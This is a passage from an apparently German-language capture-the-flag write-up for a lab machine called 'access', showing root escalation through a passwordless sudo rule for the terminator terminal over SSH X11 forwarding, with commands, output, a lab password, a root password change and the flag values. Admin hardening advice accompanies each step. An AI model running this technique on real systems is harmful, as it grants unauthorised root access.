Empfehlung (Pentester): Der einfachste Weg ist `sudo /usr/bin/terminator`. Wenn dies aufgrund fehlender GUI-Umgebung nicht direkt funktioniert, kann die `xauth`-Methode verwendet werden (X11-Forwarding über SSH aktivieren, `xauth list` beim lokalen User, `sudo xauth add ` beim Zieluser, dann GUI-Anwendung als Zieluser starten). Hier wird `terminator` gewählt.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für GUI-Anwendungen wie `terminator` oder Tools wie `xauth` ohne Passwort. Dies ist extrem unsicher.

powerful@access:/home/noname$ sudo -u root /usr/bin/xauth -h
[...]
<-- xauth Hilfe

Analyse: Die Hilfe von `xauth` wird angezeigt (als Test oder zur Information).

Proof of Concept (Root Exploit)

Analyse: Der folgende Abschnitt demonstriert die Eskalation zu `root` über die `sudo`-Regel für `/usr/bin/terminator`.

Bewertung: Einfache und direkte Ausnutzung der Fehlkonfiguration.

┌──(root㉿CCat)-[~/.ssh] └─# ssh -X powerful@access.nyx
<-- Wichtig: -X für X11 Forwarding
powerful@access.nyx's password: Th3_p0w3R_of_H4ck1nG <-- Passwort eingegeben
/usr/bin/xauth:  file /home/powerful/.Xauthority does not exist
powerful@access:~$
<-- Login mit X11 Forwarding

Analyse: Eine neue SSH-Verbindung wird als `powerful` aufgebaut, diesmal mit aktiviertem X11-Forwarding (`-X`). Dies ist notwendig, damit GUI-Anwendungen wie `terminator` vom Zielsystem auf dem Angreifer-System angezeigt werden können.

Bewertung: Korrekte Vorbereitung für den Exploit über `terminator`.

powerful@access:~$ sudo -u root terminator
(terminator:849): dconf-WARNING **: 17:02:49.763: failed to commit changes to dconf: Failed to execute child process ?dbus-launch? (No such file or directory)
ConfigBase::load: Unable to open /etc/xdg/terminator/config ([Errno 2] No such file or directory: '/etc/xdg/terminator/config')
Gtk-Message: 17:02:49.815: Failed to load module "canberra-gtk-module"
Unable to connect to DBUS Server, proceeding as standalone
<-- Fehlermeldungen sind oft normal, aber der neue Terminal öffnet sich.
root@access:/home/powerful#
<-- Root-Shell im neuen Terminator-Fenster!

Analyse: `sudo -u root terminator` wird ausgeführt. Trotz einiger Fehlermeldungen (die oft ignoriert werden können, wenn keine vollständige Desktop-Umgebung vorhanden ist), öffnet sich dank X11-Forwarding ein neues Terminator-Fenster auf dem Angreifer-System, das eine Shell als `root` enthält.

Bewertung: Erfolg! Root-Zugriff über `terminator` erlangt.

Empfehlung (Pentester): Root-Shell erhalten. Flags suchen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel für `terminator`.

Analyse: In der Root-Shell wird das Root-Passwort mit `passwd` geändert (optional, aber im Log vorhanden). Anschließend wird die Root-Flag aus `/root/r00t...txt` gelesen.

root@access:/home/powerful# passwd root
New password:
Retype new password:
passwd: password updated successfully
root@access:/home/powerful# cd ~
root@access:~# ls
r000000000000000000t.txt
root@access:~# cat r000000000000000000t.txt
4f33af77ff0c5c7cf99564ada9b38f4d

Bewertung: Root-Flag erfolgreich gefunden.

Flags

cat /home/noname/user.txt
6b2f0c9e532785c3c41eb2ee1acb97f5
cat /root/r000000000000000000t.txt
4f33af77ff0c5c7cf99564ada9b38f4d